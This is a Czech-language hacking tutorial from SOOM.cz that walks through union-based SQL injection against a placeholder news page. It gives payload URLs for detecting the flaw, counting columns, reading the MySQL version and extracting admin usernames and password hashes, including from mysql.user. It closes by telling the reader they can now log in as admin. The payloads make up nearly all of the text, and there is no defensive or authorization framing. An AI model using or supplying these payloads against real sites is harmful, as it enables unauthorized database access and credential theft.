SQL injection

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: TommyEcst
Datum: 21.4.2012
Hodnocení/Hlasovalo: 3.24/17

Tento článek popisuje jak SQL injection funguje a jak se používá k získání některých informací...

Co je SQL injection?



Stručně řečeno jde o jednu z nejčastějších zranitelností webových aplikací, která umožnuje utočníkovy získat přístup do databáze a tím získat některé informace...

Tak začneme u některých akcí

Kontrola chyby



Řekněme, že máme nějaký web jako je tento

http://www.stranka.cz/news.php?id=1

Nyní si vyzkoušíme zda je chybný a přidáme na konec url '

http://www.stranka.cz/news.php?id=1'


jestliže je chybný mělo by se zobrazit něco takového

"Máte chybu v SQL syntax, zkontrolujte manuál, který odpovídá vaší verzi MySQL server..."

nebo něco podobného...
To znamená, že je zranitelný na SQL Injection

Nalezení čísla sloupců


Chceme-li nalézt čísla sloupců používáme příkaz ORDER BY
Tak jak ho zjistit? No tím, že budeme zvyšovat počet sloupců než dostame chybu

http://www.stranka.cz/news.php?id=1 order by 1/* <– žádná chyba
http://www.stranka.cz/news.php?id=1 order by 2/* <– žádná chyba
http://www.stranka.cz/news.php?id=1 order by 3/* <– žádná chyba
http://www.stranka.cz/news.php?id=1 order by 4/* <– chyba (Unknown column ‘4′ in ‘order clause’)

To znamená, že to má 3 sloupec, protože jsme dostali chybu na 4

Zkotrolování funkce UNION


funkce UNION nám umožnuje získat více dat v jednom příkazu SQL

http://www.stranka.cz/news.php?id=1 union all select 1,2,3/*


Kontrola MySQL verze



http://www.stranka.cz/news.php?id=1 union all select 1,2,3/*

Nahradíme číslo 2 tímto

@@version or version()

získáme
Kód:
4.1.33-log or 5.0.45

nebo něco podobného
Mělo by to vypadat takto

http://www.stranka.cz/news.php?id=1 union all select 1,@@version,3/*

Můžeme dostat chybu

“union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

Neviděli jsme žádný dokument, který shrnuje tento problém...
Tím my potřebujeme funkci convert()

http://www.stranka.cz/news.php?id=1 union all select 1,convert(@@version using latin1),3/*

nebo hex() a unhex()

http://www.stranka.cz/news.php?id=1 union all select 1,unhex(hex(@@version)),3/*

Tím získáme MySQL verzy

Získání tabulky a název sloupce


Názvy tabulek jsou

username, user, usr, user_name, password, pass, passwd, pwd etc…

takže to bude

http://www.stranka.cz/news.php?id=1 union all select 1,2,3 from admin/*

My už asi víme, že existuje tabulka admin...
Nyní zkontrolujem názvy sloupců

http://www.stranka.cz/news.php?id=1 union all select 1,username,3 from admin/*

(Jestliže se objeví chyba zkuste jiný název sloupců)
Zobrazí se nám uživatelské jméno (username)
Nyní zkontrolujeme jestli existuje sloupec password

http://www.stranka.cz/news.php?id=1 union all select 1,password,3 from admin/*

mělo by se nám ukázat heslo v hash nebo plain-text záleží jak je to nastavené na té databázy (md5 hash, mysql hash, sha1…)
Nyní musíme dokončit dotaz
Na to použijeme funkci contat()

http://www.stranka.cz/news.php?id=1 union all select 1,concat(username,0×3a,password),3 from admin/*

nebo

http://www.stranka.cz/news.php?id=1 union all select 1,concat(username,char(58),password),3 from admin/*

Zobrazí se nám username:password

admin:admin nebo admin:hash

S tímto se můžete přihlásit jako admin...
Jestliže nelze uhádnout správný název tabulky můžete použit toto

http://www.stranka.cz/news.php?id=1 union all select 1,concat(user,0×3a,password),3 from mysql.user/*